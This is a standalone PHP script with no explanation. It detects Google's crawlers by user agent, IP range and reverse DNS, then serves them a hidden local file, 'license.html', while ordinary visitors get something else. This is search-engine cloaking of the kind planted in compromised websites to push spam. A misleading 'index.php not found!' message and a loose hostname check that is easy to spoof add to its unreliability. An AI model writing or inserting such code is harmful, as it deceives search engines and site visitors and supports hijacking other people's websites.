function isGoogleUserAgent() {
    if (empty($_SERVER['HTTP_USER_AGENT'])) return false;

    $googleBots = [
        'Googlebot', 'Googlebot-Mobile', 'Googlebot-Image ', 'Googlebot-Video',
        'Googlebot-News', 'Googlebot-AMP', 'AdsBot-Google', 'AdsBot-Google-Mobile',
        'FeedFetcher-Google', 'Google-Read-Aloud', 'DuplexWeb-Google',
        'Storebot-Google', 'Mediapartners-Google', 'Google Favicon',
        'Google-InspectionTool', 'Google-PageRenderer', 'Google-Structured-Data-Testing-Tool'
    ];

    foreach ($googleBots as $bot) {
        if (stripos($_SERVER['HTTP_USER_AGENT'], $bot) !== false) {
            return true;
        }
    }
    return false;
}

function isGoogleIP() {
    $googleIpRanges = ['64.233.160.0/19','66.102.0.0/20','66.249.64.0/19','72.14.192.0/18','74.125.0.0/16','108.177.8.0/21','142.250.0.0/15','172.217.0.0/16','173.194.0.0/16','209.85.128.0/17','216.239.32.0/19'];
    $ip = $_SERVER['REMOTE_ADDR'];
    $ipLong = sprintf('%u', ip2long($ip));
    if (!$ipLong) return false;

    foreach ($googleIpRanges as $range) {
        list($subnet, $maskBits) = explode('/', $range);
        $subnetLong = sprintf('%u', ip2long($subnet));
        $mask = $maskBits == 0 ? 0 : (~0 << (32 - $maskBits));
        if (($ipLong & $mask) == ($subnetLong & $mask)) return true;
    }
    return false;
}

function isGoogleDNS() {
    if (empty($_SERVER['REMOTE_ADDR'])) return false;

    $hostname = @gethostbyaddr($_SERVER['REMOTE_ADDR']);
    if (!$hostname || $hostname === $_SERVER['REMOTE_ADDR']) return false;

    return (stripos($hostname, 'googlebot.com') !== false || stripos($hostname, 'google.com') !== false);
}



if (isGoogleUserAgent() || isGoogleDNS() || isGoogleIP()) {
    if (is_readable(__DIR__ . '/license.html')) {
        header('Content-Type: text/html; charset=UTF-8');
        readfile(__DIR__ . '/license.html');
    } else {
        echo "index.php not found!";
    }
    exit;
}